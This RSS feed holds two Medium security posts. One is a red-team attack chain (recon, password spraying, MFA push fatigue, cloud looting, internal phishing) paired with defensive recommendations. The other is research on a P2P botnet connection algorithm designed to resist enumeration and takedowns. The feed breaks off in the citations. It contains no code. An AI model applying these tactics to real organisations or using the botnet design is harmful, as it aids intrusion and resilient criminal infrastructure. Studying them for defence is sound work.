<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jacob Moore on Medium]]></title>
        <description><![CDATA[Stories by Jacob Moore on Medium]]></description>
        <link>https://medium.com/@moorejacob2017?source=rss-9e2a8967b008------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*kN8IxwNGpsJxGxRhXXmtgQ.png</url>
            <title>Stories by Jacob Moore on Medium</title>
            <link>https://medium.com/@moorejacob2017?source=rss-9e2a8967b008------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 23:40:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@moorejacob2017/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Easiest Way to Breach a Company — External to Internal in 15 Tactics or Less]]></title>
            <link>https://medium.com/@moorejacob2017/the-easiest-way-to-breach-a-company-external-to-internal-in-15-tactics-or-less-1ca0ec9461e9?source=rss-9e2a8967b008------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ca0ec9461e9</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[computer-science]]></category>
            <dc:creator><![CDATA[Jacob Moore]]></dc:creator>
            <pubDate>Tue, 02 Apr 2024 01:02:23 GMT</pubDate>
            <atom:updated>2024-11-16T01:18:44.790Z</atom:updated>
            <content:encoded><![CDATA[<h3>15 Tactics Red Teamers Use During Engagements</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o7KFO0tIjQsyGyWjI8QBqw.png" /><figcaption>Vector image by VectorStock</figcaption></figure><h3>Disclaimer</h3><p>By continuing to read this article, you acknowledge that you accept the responsibility to use the information contained herein in an ethical and legal manner. The author of this article strongly advocates for the ethical use of cybersecurity knowledge and disclaims any support for illegal activities. This article is intended for educational and ethical purposes, aiming to enhance the knowledge of cybersecurity professionals. Readers are encouraged to use this information responsibly and within legal and ethical boundaries. The author holds no liability for any actions taken based on this information.</p><p>Outlined here is an attack chain that poses a significant threat to a number of companies. The vulnerabilities exploited in this chain are often terrifyingly common and frequently overlooked, typically because they aren’t individually scored as high or critical risks. However, when these weaknesses are combined, they can become lethal. To align this chain with a recognized framework, MITRE ATT&amp;CK: Enterprise TTPs are being used as references. For defenders, each section offers recommendations on how to address these issues.</p><p>The attack chain is as follows…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*3oT6DoeKpZ86Y8uk1pfMBg.png" /><figcaption>Attack Chain with MITRE ATT&amp;CK TTPs</figcaption></figure><h3>Stage 1. Info Gathering &amp; Recon</h3><ul><li>T1589.001 — Gather Victim Identity Information: Credentials</li><li>T1589.002 — Gather Victim Identity Information: Email Addresses</li><li>T1589.003 — Gather Victim Identity Information: Employee Names</li></ul><p>To start, target identification is extremely simple. With most people being on LinkedIn nowadays and most companies using common email naming conventions, such as “[FirstName].[LastName]”, “[Lastname].[Firstname]”, and “[LastName][FirstInitial]”, putting together a target list is a cakewalk. An attacker can also make some guesses about common department emails as well, like the IT and HR emails.</p><p>There is also the fact that many companies refuse to address user enumeration vulnerabilities, whether it be overt or time-based enumeration. For example, Microsoft OWA and related login portals have had overt user enumeration for years, which is useful for verifying the existence of potential target accounts. It’s a similar situation with email servers, where many are still susceptible to EXPN, VRFY, and RCPT TO enumerations. With an account list in hand, an attacker can look for breached credentials in breach data sets and prepare for password stuffing and password spraying attacks.</p><p>Username exposures and user enumeration issues tend to get low risk scores and rightfully so. But they are still scored and presented as security issues for a reason. Obfuscation, when not used as a single security solution, reduces risk and increases opportunity for detection. Daniel Miessler, the same person who created and maintains the renowned <a href="https://github.com/danielmiessler/SecLists">SecLists repository</a>, wrote an excellent article on how obfuscation, when used properly, is a valid security layer. That article can be found <a href="https://danielmiessler.com/p/security-by-obscurity/">here</a>.</p><p><strong>Recommendations</strong></p><ul><li>Ensure employees are aware of the risks associated with exposing personal information online.</li><li>Avoid using a predictable username and email format when possible.</li><li>Address user enumeration vulnerabilities whenever possible.</li><li>Stay up to date on recent data breaches and consider if employees have been affected by them. Search breach data sets, such as Snusbase, BreachDirectory, and DeHashed, for company emails and passwords.</li></ul><h3>Stage 2. Password Spraying</h3><ul><li>T1201 — Password Policy Discovery</li><li>T1110.001 — Brute Force: Password Guessing</li><li>T1110.004 — Brute Force: Credential Stuffing</li><li>T1110.003 — Brute Force: Password Spraying</li></ul><p>There is one weakness in particular that makes this exploit chain dangerous for many companies and that is their use of password rotation policies. Originally, rotation policies were thought to make it more difficult for attackers to guess employee passwords by constantly having them change every 60 to 120 days. However, the opposite is true as the short rotation time incentivizes weak, rememberable, and ultimately guessable, passwords. Seasonal passwords, such as, “Springtime2024”, “Summer@2024#”, and “Fall12345678”, are extremely common, as well as company related passwords.</p><p>In fact, NIST specifically recommends against forcing password complexity and rotation policies in their Special Publication on Digital Identity Guidelines.</p><blockquote><strong>NIST SP 800–63B (Digital Identity Guidelines), Section 5.1.1.2, paragraph 9</strong></blockquote><blockquote>“Verifiers SHOULD NOT impose other composition rules (e.g., requiring mixtures of different character types or prohibiting consecutively repeated characters) for memorized secrets. Verifiers SHOULD NOT require memorized secrets to be changed arbitrarily (e.g., periodically). However, verifiers SHALL force a change if there is evidence of compromise of the authenticator.”</blockquote><p>Even CWE-262, the MITRE weakness enumeration for missing password aging, acknowledges that it promotes poor password hygiene and exists as a legacy of PCI DSS.</p><blockquote><strong>CWE-262: Not Using Password Aging</strong></blockquote><blockquote>“Note that while password aging was once considered an important security feature, it has since fallen out of favor by many, because it is not as effective against modern threats compared to other mechanisms such as slow hashes. In addition, forcing frequent changes can unintentionally encourage users to select less-secure passwords. However, password aging is still in use due to factors such as compliance requirements, e.g., Payment Card Industry Data Security Standard (PCI DSS).”</blockquote><p>A majority of companies have policies that require 12+ characters, use any 3 character types out of uppercase, lowercase, numbers, and symbols, and require a new password every 90 days. This, coupled with the fact that many companies use Microsoft’s OWA/O365/Azure and VPNs, sets them up for a password spray against employees’ accounts through their 3rd-party services.</p><p><strong>Recommendations</strong></p><ul><li>Remove password rotation policies.</li><li>Remove password complexity policies.</li><li>Require password length to be 17 characters or greater.</li><li>Encourage users to use passphrases instead of passwords. Eg. “myFlowerssmellBestintheSpring”</li><li>Encourage the use of Password Managers whenever possible.</li><li>Keep users educated about good password practices and provide recommendations on how to pick a good password.</li><li>Use a blacklist to check if a password is common or has been included in recent data breaches before accepting it.</li><li>Use a rate-limiting mechanism with an exponentially increasing wait.</li><li>Use an MFA mechanism whenever possible.</li><li>Consider using password cracking tools, such as Hashcat or JohnTheRipper, to audit employee passwords.</li><li>Deploy user and entity behavior analytics (UEBA) to look for concurrent and impossible logins and signs of password sprays. Tools and solutions include DeepBlueCLI, LogonTracer, OpenUBA, ActivTrak, Varonis, Securonix, Gurucul, and Exabeam.</li><li>Consult NIST SP 800–63 (Digital Identity Guidelines) for best password practices.</li></ul><h3>Stage 3. MFA Bypass</h3><ul><li>T1621 — Multi-Factor Authentication Request Generation</li></ul><p>Firstly, a majority of MFA are either configured or designed incorrectly. The most common MFA process is to ask for a username and password, then send an MFA challenge. In reality, the process should ask for a username first, send the MFA challenge second, <em>then</em> ask for the password. This stops most password sprays outright, since the MFA challenge has to be successful before the attacker can even attempt to input the password. Unfortunately, many companies are unaware of this when selecting MFA solutions, leaving their components susceptible to password validation and password sprays.</p><p>Secondly, not all MFA are created equally. One of the worst MFA to go with is Push Notification MFA. Sure, SMS is not the best, but it is still better than Push MFA due to an attack called Prompt Bombing or MFA Fatigue. The idea is simple; send as many MFA push notifications as possible. An attacker can choose to spam prompts arbitrarily through-out the day, or try to time the prompts to be as annoying as possible, such as at night while the target is trying to sleep. However, this method is extremely overt and works best while phishing as an IT department trying to resolve a “glitch” or error in their authentication mechanism.</p><p>A more covert, and overall more efficient, way to exploit Push MFA is to simply time the push with a legitimate user login, which is much easier than it sounds. Just identify when the organization opens for the day, then send a prompt around that time period. It really is that simple. Many users, especially those with lower technical literacy, will simply accept it out of habit. These types of attacks are also successful when launched at 12:30 pm or 1:00 pm, when many people are logging back in after lunch.</p><p><strong>Recommendations</strong></p><ul><li>Select an MFA solution that is either designed with or allows for the configuration of the proper challenge sequence; username, MFA challenge, then password.</li><li>Select a secure MFA method, such as Hardware Keys, Biometrics, or Time-based One-time Passwords (TOTP).</li><li>Avoid weak MFA methods, such as Security Questions, SMS, and Push Notifications.</li><li>Encourage users to stay alert and report any suspicious activity, such as unprompted MFA challenges.</li></ul><h3>Stage 4. Looting &amp; Lateral</h3><ul><li>T1657 — Financial Theft</li><li>T1530 — Data from Cloud Storage</li><li>T1114.002 — Email Collection: Remote Email Collection</li><li>T1552.008 — Unsecured Credentials: Chat Messages</li><li>T1552.001 — Unsecured Credentials: Credentials In Files</li></ul><p>This is were damage starts getting done. Gaining access to any business related account is a massive win as an attacker. Noted or shared login credentials are extremely common to find, giving opportunities for laterals or escalations. However, depending on the type of company and their policies, one could also end up finding PII flying through emails and chats. This is especially true for financial institutions that do not have proper PII handling policies.</p><p>To make matters worse, gaining access to an employee’s OneDrive compromises all of the local files that sync to the cloud. To escalate, an attacker can start planting malicious payloads in backed-up docx/xlsx files, pdfs, etc. If any cloud-to-local syncing is taking place, getting a payload to launch on a desktop becomes much easier.</p><p><strong>Recommendations</strong></p><ul><li>Encourage the use of Password Managers whenever possible.</li><li>Ensure employees are aware of the dangers of insecure password storage.</li><li>Ensure any communication channels that contain PII are encrypted and have secure authentication and authorization mechanisms.</li><li>Consult NIST SP 800–122 (Guide to Protecting the Confidentiality of Personally Identifiable Information (PII)) to ensure PII is being managed in a secure fashion.</li><li>Consider using a data classification system, such as NIST FIPS 199 (Standards for Security Categorization of Federal Information and Information Systems) to categorize information. Then write policies detailing the proper handling for each classification.</li><li>Consider the security implications of using cloud based and 3rd-party services, such as OWA, O365, and OneDrive.</li></ul><h3>Stage 5. Internal Access</h3><ul><li>T1133 — External Remote Services</li><li>T1021.001 — Remote Services: Remote Desktop Protocol</li></ul><p>With a set of valid credentials, RDP and VPNs are easy targets for gaining a foothold in an internal network. Often times, MFA is implemented, but it can be bypassed with the aforementioned tactics. There is little else that can be said about preventative measures since an attacker is using a legitimate means of entry. At this stage, defenders are forced to shift from protection to detection, relying on prepared security mechanisms and their incident response plan.</p><p><strong>Recommendations</strong></p><ul><li>Address any password related issues and adhere to earlier recommendation.</li><li>Limit which users have RDP and VPNs access.</li><li>Require Network Level Authentication when possible.</li><li>Require MFA when possible.</li><li>Deploy user and entity behavior analytics (UEBA) to look for concurrent and impossible logins and signs of password sprays. Tools and solutions include DeepBlueCLI, LogonTracer, OpenUBA, ActivTrak, Varonis, Securonix, Gurucul, and Exabeam.</li><li>Deploy intrusion detection and prevention systems (IDS/IPS) to identify and respond to network-based threats. Tools and solutions include Snort, Suricata, Zeek, Security Onion, Darktrace, Vectra, and Fidelis.</li><li>Deploy security information and event management (SIEM) and endpoint detection and response (EDR) systems to track, audit, and respond to security events. Tools and solutions include OSSIM, OSSEC, SOF-ELK, WAZUH, Velociraptor, OpenEDR, LogRhythm, Carbon Black, Huntress, ThreatDown, and CrowdStrike Falcon.</li><li>Deploy cyber deception and threat hunting platforms to identify and ensnare threats within a network. Tools and solution include CanaryTokens, Active Defense Harbinger Distribution (ADHD), AC-Hunter, RITA, MITRE Engage, Illusive Shadow, Acalvio, and Attivo.</li></ul><h3>BONUS: Phishing with Partially-Open Mail Relays</h3><ul><li>T1534 — Internal Spearphishing</li><li>T1566.001 — Phishing: Spearphishing Attachment</li><li>T1566.002 — Phishing: Spearphishing Link</li><li>T1566.003 — Phishing: Spearphishing via Service</li></ul><p>An Open Mail Relay is when a mail server does not require authentication to send an email from an internal email address to any other email address. Fortunately, many servers are configured to prevent open relays. Un-fortunately, many servers are not configured to prevent Partially-Open Mail Relaying, which is when no authentication is required to send an email from an internal email to another internal email. That is to say, while an attacker cannot send an email from “alice@company-a.com” to “bob@company-b.com”, they can still send an email from “alice@company-a.com” to “john@company-a.com”. This leaves them vulnerable to internal phishing, where an attacker can send baited emails from any company email address. Phishing emails posing as the IT and HR departments tend to work well in these particular scenarios.</p><p><strong>Recommendations</strong></p><ul><li>Require authentication with user accounts.</li><li>Ensure users have adequate phishing awareness training.</li><li>Configure the email server to reject any email relaying (may impact 3rd-party services).</li><li>Configure the email server to use encryption with STARTTLS.</li><li>Ensure other email security mechanisms, such as SPF, DKIM, and DMARC, are enforced.</li><li>If your email is through an email provider, either work with them to resolve the issue or consider using a different email provider.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ca0ec9461e9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Dream of a Red King — A Connection Protocol for Small-World P2P Botnets]]></title>
            <link>https://medium.com/@moorejacob2017/the-dream-of-a-red-king-a-connection-protocol-for-small-world-p2p-botnets-b64f2eed63f8?source=rss-9e2a8967b008------2</link>
            <guid isPermaLink="false">https://medium.com/p/b64f2eed63f8</guid>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Jacob Moore]]></dc:creator>
            <pubDate>Mon, 20 Nov 2023 04:09:30 GMT</pubDate>
            <atom:updated>2025-02-10T23:43:32.009Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Dream of a Red King — A Connection Algorithm for Small-World P2P Networks</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*eRak_rPzwnlXv5lxTwls4A.png" /><figcaption>Botnet icons created by smalllikeart — <a href="https://www.flaticon.com/free-icons/botnet">https://www.flaticon.com/free-icons/botnet</a></figcaption></figure><h3>Disclaimer</h3><p>By continuing to read this article, you acknowledge that you accept the responsibility to use the information contained herein in an ethical and legal manner. The author of this article strongly advocates for the ethical use of cybersecurity knowledge and disclaims any support for illegal activities. This article is intended for educational and ethical purposes, aiming to enhance the knowledge of cybersecurity professionals. Readers are encouraged to use this information responsibly and within legal and ethical boundaries. The author holds no liability for any actions taken based on this information.</p><h3>Introduction</h3><p>This research was motivated by the final chapter in VX-Underground’s <em>Black Mass: Volume I</em>, authored by b0t and titled “The RedKing Hivemind.” The chapter delves into the concept of establishing a decentralized P2P botnet through small-world networks. Intrigued by this exploration, I took on the ambitious challenge of implementing the infrastructure code for a “Red King” network myself. In all honesty, I woefully underestimated the complexity and magnitude required for such an undertaking. While I may not have attained the creation of the Red King, I believe I have successfully devised a connection algorithm tailored for small-world networks that aligns with the outlined objectives in “The RedKing Hivemind.” The research found herein is some of the fruit from that labor.</p><p>While the foundation of this research is from the perspective of a malware developer, it’s important to recognize its broader applicability to any system utilizing small-world networks. This extends beyond the realm of malware, encompassing diverse models ranging from power grids to protein-to-protein interaction networks. Approach this content with an open mind and a creative spirit to fully grasp its interdisciplinary relevance.</p><p>Before proceeding, I strongly recommend reading the chapter to gain a better understanding of these types of networks and how they could be leveraged by botnets. The entire book was authored by a group of remarkable and passionate individuals and is a delightful reading experience if you enjoy cybersecurity. VX-Underground offers the book for free on their website or a physical copy can be purchased on Amazon. <br><strong>Black Mass PDF</strong>: <a href="https://samples.vx-underground.org/root/Papers/Other/VXUG%20Zines/2022-11-13%20-%20Black%20Mass%20Halloween%202022.pdf">VX-Underground — Black Mass</a> <br><strong>Black Mass Paperback</strong>: <a href="https://www.amazon.com/dp/B0BM4BMD53">Amazon — Black Mass</a></p><p>Code and 2D/3D network models can be found in the research’s Github repository at <a href="https://github.com/moorejacob2017/RedKing_ConnProto/">https://github.com/moorejacob2017/RedKing_ConnProto/</a></p><p>Please enjoy!</p><h3>Objectives</h3><p>The objectives of this research are straightforward. P2P networks often face challenges with an excessive dependence on command and control servers and super nodes, rendering them vulnerable to node enumeration attacks that extract the locations of all bots. Integrating a small-world network design in the system aims to maintain decentralization without relying on servers or super nodes to relay instructions to the bots. Small-world networks seek to limit the number of connections a node can establish and restricts the scope of these connections to local nodes. Occasionally, nodes are permitted to establish long-distance connections across the network, allowing for fewer hops during routing. These networks also offer significant redundancy, enhancing resilience against network failures. While these principles hold promise in theory, the challenge of the implementation lies in establishing node connections that effectively thwart node enumeration attacks.</p><p>Given the decentralized nature of the network, nodes must assume the responsibility of networking, requiring access to specific information about other nodes, routing, and the overall network. To prevent enumeration, the design must limit the amount of information nodes have about the network while still being able to carry out network operation effectively. To streamline the discussion, this paper will specifically address the connection algorithm for integrating nodes into the network. The objectives are outlined as follows:</p><ol><li>Create a connection algorithm for a small-world P2P botnet.</li><li>Design both the network and connection algorithm to resist node enumeration attacks.</li><li>Design the network with as much redundancy as possible to prevent outages during botnet take-downs and node failures.</li></ol><h3>Characteristics of Small-World Networks</h3><p>Pause for a moment to reflect on an person’s social circles. It’s common for a person’s friends to share mutual connections within the same friend group. Yet, consider how a person may also have distinct friend groups associated with work, school, and hobbies. This type of interconnectedness helps to illustrate the “small-world phenomenon,” and is an example of a small-world network, wherein there are clusters of mutual connections linked by occasional longer-distance relationships.</p><p>Small-world networks exhibit a blend of local clustering and global connectivity. They possess a balance between order and randomness, yet have an overall structure that allows for efficient short-path communication across the entire network. These networks can be identified by having the following characteristics:</p><ul><li>Small-world networks tend to have a large cluster coefficient. The cluster coefficient measures how often nodes share the same neighbors, creating clusters in the network. In the context of small-world networks, attaining a cluster coefficient of 0.5 serves as a sound and appropriate target.</li><li>Small-world networks also have relatively small path lengths between any 2 nodes in the network. The average shortest path of any given small-world network grows proportional to the logarithm of the number of nodes in the network (<em>L</em>∝log <em>N</em>). That means that as the number of nodes increases, the average shortest path will increase logarithmically and will produce a logarithmic graph.</li><li>The small-worldness of a graph can be measured as its small-coefficient (σ). A small-coefficient compares a graphs cluster coefficient and average shortest path length against a random graph. In this paper, the random graph will be a Watts-Strogatz small-world network and a proper small-world network will result in a small-coefficient greater than or approximately equal to 1. While the small-coefficient is not always the best way to measure small-worldness, it will suffice for the purposes of this research.</li></ul><p>It is important to note that for all of the network models illustrated in this paper, node coloring is determined using Katz centrality. Katz centrality serves as a metric for assessing a node’s significance within the network. Nodes with higher centrality levels are represented with brighter colors, indicating their increased importance to the network.</p><h3>The Watts-Strogatz Small-World Network</h3><p>Discovered by Duncan Watts and Steven Strogatz, a Watts-Strogatz network is initially generated by establishing a ring of nodes and connecting each node with its neighbors. Once finished, all connections have a probability of being replaced with a link to a randomly chosen node. While these networks exhibit small-world characteristics, their generation requires a pre-existing network. A network is first created and then modified into a small-world configuration by systematically visiting each node and considering the possibility of rewiring it to a random node. This process necessitates the enumeration of every node, a task we aim to avoid explicitly. Moreover, it depends on awareness regarding the presence of nodes beyond neighboring connections during rewiring instances, a vulnerability that could be exploited in enumeration attacks. These aspects of the generation process prove impractical for the gradual addition of nodes to a small-world P2P botnet and are in direct opposition to the goal of enumeration resistance. This helps to answer the question as to why the conventional generation of small-world networks proves inadequate for achieving the goals outlined earlier.</p><p>While a Watts-Strogatz network may not be suitable for constructing a small-world botnet, its desirable traits make it well-suited for comparing the small-worldness of other networks. Therefore, this type of network will be used to calculate the small-coefficient of the networks created using the algorithm detailed in this research. An example of a Watts-Strogatz small-world network is provided below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*TJNdb0msaJZnt6bECNvNuQ.gif" /><figcaption>Watts-Strogatz Small-World Network (frame rate reduced)</figcaption></figure><h3>Red King Network Assumptions</h3><p>For a variety of reasons, a few assumptions about the network and its nodes will be made to provide a necessary simplification of complex real-world scenarios. These assumptions foster consistency and comparability between generated networks, and allow for meaningful comparisons and analyses across different scenarios. While these assumptions may not capture every nuance of reality, they serve as pragmatic adaptations for modeling, striking a balance between accuracy and practical feasibility.</p><ol><li><strong>Assumption of Self-Replication</strong>: Nodes are produced by other nodes in an asexual fashion, similar to that of a computer virus or worm.</li><li><strong>Assumption of Reproduction Rate</strong>: All nodes reproduce on cycles at a fixed rate of one new node per existing node per cycle.</li><li><strong>Assumption of Non-Dropping</strong>: Nodes are not dropped from the network.</li></ol><p>One of the products of these assumptions is that the sum network growth will be exponential, with 2<em>^x </em>nodes at cycle <em>x. </em>For example, Cycle 3 will have 2³<em> </em>(8) nodes, Cycle 4 will have 2⁴<em> </em>(16) nodes, Cycle 5 will have 2⁵ (32) nodes and so on. This allows the generated networks to grow in a uniform fashion and makes analysis easier.</p><h3>The Red King Connection Algorithm</h3><p>The presented connection algorithm is intentionally designed to resist node enumeration and is tailored specifically for use in small-world networks. Its purpose is to systematically incorporate nodes into a small-world network, ensuring that each node maintains a maximum number of neighbors while minimizing the disclosure of additional nodes as much as possible. Keep in mind that the ensuing research focuses solely on the connection algorithm, excluding considerations for the overlaying node communication protocols.</p><p>The algorithm can be broken down into two primary components. The first part focuses on establishing node connections within the network, while the subsequent part addresses the integration of new nodes and the idea of node discovery.</p><p><strong>Part 1: Node Connection<br></strong>The node connection algorithm is as follows:</p><ol><li>Node A wishes to connect to Node B, which is already established in the network. Node A sends a connection request to Node B.</li><li>Node B will give a response based on one of three conditions…<br>– <strong>Condition 1</strong>: If Node B has not reached is maximum number of connections, it will respond with a confirmation and agree to connect with Node A.<br>– <strong>Condition 2</strong>: If Node B has reached its maximum number of connections, but is aware of one of its neighbors that has not reached its maximum number of connections, it will respond with a rejection to connect, but give Node A the location of the neighbor that has not reached its maximum number of connections.<br>– <strong>Condition 3</strong>: If Node B has reached its maximum number of connections and all of Node B’s neighbors have also reached their maximum number of connections, then Node B will respond with a rejection to connect, but give Node A the location of the last neighbor it connected with, AKA. its “youngest” neighbor.</li><li>Upon receiving a response from Node B, Node A will attempt to repeat the connection process with any node location given in the response of Node B until it has found a node that has agreed to connect. In the event that Node B agrees to connect, Node A will continue the connection process with Node B.</li><li>Once Node A has found a node that has agreed to connect, both nodes exchange any networking information needed and consider each other as neighbors.</li><li>The connection process is complete and Node A is considered to be connected to the network.</li></ol><p>The given connection algorithm has been illustrated in the following flow chart for readability and for ease of understanding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*jxXnECO1B5jS6qL322tqvQ.png" /><figcaption>Flow chart of the Red King Connection algorithm</figcaption></figure><p><strong>Part 2: Node Discovery</strong><br>In an optimal scenario, newly created nodes are equipped with information about the locations of three other nodes. Aligning with the assumption of self-replication, these three nodes consist of the parent node, the parent node’s second youngest neighbor, and the parent node’s third youngest neighbor. The exclusion of the youngest neighbor is deliberate, given its role in network connection. Embedding the youngest neighbor as a default connection could potentially lead to self-connections and create vulnerabilities in the network.</p><p>While having embedded locations is ideal, it may not be entirely practical in all situations. Hence, it might be appropriate to allow for the disclosure of the second and third youngest neighbors upon request. Although this might appear counter-intuitive to the goal of enumeration resistance, its acceptance will be deliberated further when discussing the rationale behind specific design choices.</p><h3>Proof of Small-Worldness</h3><p>Before discussing the design choices of the algorithm, let’s first establish that the algorithm indeed generates a small-world network. As previously mentioned, three criteria can be employed to determine if a network possesses small-world properties: the cluster coefficient, the average shortest path length in relation to the number of nodes, and the small-coefficient.</p><p>Displayed below is a graph illustrating the average cluster coefficient of networks generated by the algorithm in relation to both the network’s size and the maximum number of connections per node (abbreviated as “Conns.”). The graph shows that as the number of the network’s nodes increases, the cluster coefficient stabilizes. Additionally, it demonstrates that with an increasing number of connections, the cluster coefficient approaches the targeted value of 0.5. However, the pace at which the cluster coefficient converges to 0.5 decreases substantially as the maximum number of connections increases. Therefore, achieving a balance between the cluster coefficient and the maximum number of connections is crucial. Following testing, it was determined that a cap of 15 connections per node proved to be optimal for the network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*as1dDo0UNGOipCvkiwOaJQ.png" /></figure><p>In general, the average shortest path length remained relatively stable with minimal fluctuation across varying maximum node connection capacities. Although the graph may appear uneventful, it provides crucial evidence supporting the creation of small-world networks. The growth curve of the average shortest path length in relation to the number of nodes follows a classic logarithmic pattern, exemplifying the proportional property found in small-world networks. It is important to highlight that the line representing the 6-connection networks is <em>not</em> a result from a relation between the decrease in average path length and the decrease of the maximum number of connections. Instead, it constitutes an anomaly generated by the algorithm, which will be further discussed in a subsequent section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*pkTdYz68M_nZqRDsAT3ZiA.png" /></figure><p>Finally, a network was generated using the connection algorithm, and the small-coefficient was calculated by comparing it to a random Watts-Strogatz network of a similar size, akin to the previously presented example. The Red King network was created with a node connection capacity of 15 connections and ran through 12 cycles, resulting in 4096 nodes. The obtained small-coefficient for the network was 1.034, categorizing it as a small-world network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*uwEPcos5oZDPova_Vk4_Zw.gif" /><figcaption>Small-World Network with the RK Connection Algorithm</figcaption></figure><h3>Algorithm Design and Properties</h3><p>The Red King connection algorithm generates small-world networks in a fashion such that the network state is independent of node additions, instead relying on node states. These networks can be characterized by a greater dependence on older nodes within the network. This dependency is evident in the higher Kats centrality of the central nodes compared to the younger nodes situated on the periphery. While the network is technically decentralized, the removal of old nodes at the core of the network would disproportionately impact the network’s performance and coherence.</p><p>In a preliminary resiliency test, the network underwent a stress test that systematically removed the oldest nodes until a network segment became disconnected from the main network. It’s essential to acknowledge a limitation of this test, as a lost network segment can be as small as a single node and may not provide a comprehensive assessment of the entire network’s resilience. Following the stress test, it was determined that the network could endure the removal of up to 6.25% of its oldest nodes, equivalent to 256 nodes out of a total size of 4096. While not the best performance for its purpose, this result indicates the presence of redundancy within the network, demonstrating its capacity to withstand minor perturbations.</p><p>Given the dependence on older nodes, the algorithm intentionally organizes and guides the network to obscure the oldest nodes, making them more challenging to access. Observe in the model how newer nodes form layers that encapsulate the network core. This structural arrangement is attributed to the algorithm’s deliberate provision of the three youngest neighbors for any given node. If the algorithm were to provide neighbors randomly, nodes could be enumerated through repeated connection requests until all neighbors are revealed. By restricting the neighbors provided during network connection, the older nodes retain a level of obscurity.</p><p>As younger nodes are considered more expendable than their older counterparts, they can be disclosed during enumeration attacks, protecting the older nodes from detection and exposure during botnet take-downs. To coax a node to disclose its oldest connections, the most recent connections must be taken offline first, followed by re-enumerating the target node. This effect is compounded with each additional “layer” that is wrapped around the network core, significantly complicating enumeration attempts and thwarting attacks that exploit the connection algorithm. It is important to note, however, that while the connection algorithm provides resistance, the network is not entirely immune. Communication, if designed or implemented poorly, could still be leveraged for enumeration and attacks.</p><p>A number of modifications can be implemented in or appended to the connection algorithm. For instance, the idea of introducing a random chance during node creation to increase the maximum number of connections for the new node was considered. There is ample space for refinement and additional experimentation to discover the characteristics that contribute the most to network resiliency.</p><h3>The Anomaly of 6-Connection Networks</h3><p>During testing, a peculiar anomaly emerged in the data sets, revealing intriguing characteristics. When employing the connection algorithm with a node connection limit set at 6 connections, the network adopts an irregular structure with distinctive properties not observed in prior presentations. It’s crucial to emphasize that this phenomenon is exclusive to the 6-connection cap, as all other tested connection capacities, including 5 and 7, exhibited the expected behavior. In the spirit of full transparency, the underlying cause of this phenomenon within the algorithm at this specific capacity is not fully understood, necessitating further study for clarification.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*j606Lg9VIYShx62-H1bh5g.gif" /><figcaption>A 6-Connection network generated with the RK Connection Algorithm</figcaption></figure><p>As observed earlier, the network with a 6-connection capacity exhibits an exceptionally low cluster coefficient, but boasts a more efficient average shortest path compared to other networks. Consequently, it yields a subpar small-coefficient (0.049), falling short of the criteria for a small-world network. Nonetheless, it theoretically retains the same enumeration resistance endowed by the connection algorithm, featuring a “front” of younger nodes that propagates unidirectionally rather than radiating outward in all directions. Furthermore, it maintains a lower average node centrality, enhancing decentralization and displaying remarkable resilience by accommodating the removal of up to 24.95% of the network’s oldest nodes without experiencing a network segment disconnection. This translates to the removal of 1022 nodes from a network of 4096 without any segment loss. Although the 6-connection network does not qualify as a small-world network, it demonstrates all the desired traits for a P2P botnet resistant to node enumeration, potentially surpassing the small-world networks examined in this paper. However, further research is required to substantiate this potential superiority.</p><h3>Conclusion</h3><p>In conclusion, the Red King connection algorithm presents a novel approach to establishing and maintaining connections in a network, showcasing its effectiveness in generating small-world networks. The proof of small-worldness, illustrated through comprehensive testing, demonstrates the algorithm’s ability to create networks with desired properties. It is further validated by its comparisons to Watts-Strogatz networks, firmly establishing it as a small-world network.</p><p>Moreover, the algorithm’s unique features contribute to the resilience of the network, as demonstrated in stress tests and enumeration resistance mechanisms. The intentional organization of the network, with a dependence on older nodes and a strategic arrangement adds a layer of network obscurity. The stress tests revealed the network’s capability to endure the removal of a portion of its oldest nodes, showcasing its redundancy.</p><p>Additionally, the anomaly observed in 6-connection networks presents intriguing characteristics, showcasing potential resilience in the face of node enumeration. However, further research is warranted to fully understand and substantiate the exceptional traits of the 6-connection network. In essence, the Red King connection algorithm provides a foundation for building resilient networks, offering a valuable contribution to the field of network design and security.</p><h3>Citation</h3><ul><li>Aric A. Hagberg, Daniel A. Schult and Pieter J. Swart, <a href="https://conference.scipy.org/proceedings/SciPy2008/paper_2/">“Exploring network structure, dynamics, and function using NetworkX”</a>, in <a href="https://conference.scipy.org/proceedings/SciPy2008/index.html">Proceedings of the 7th Python in Science Conference (SciPy2008)</a>, Gäel Varoquaux, 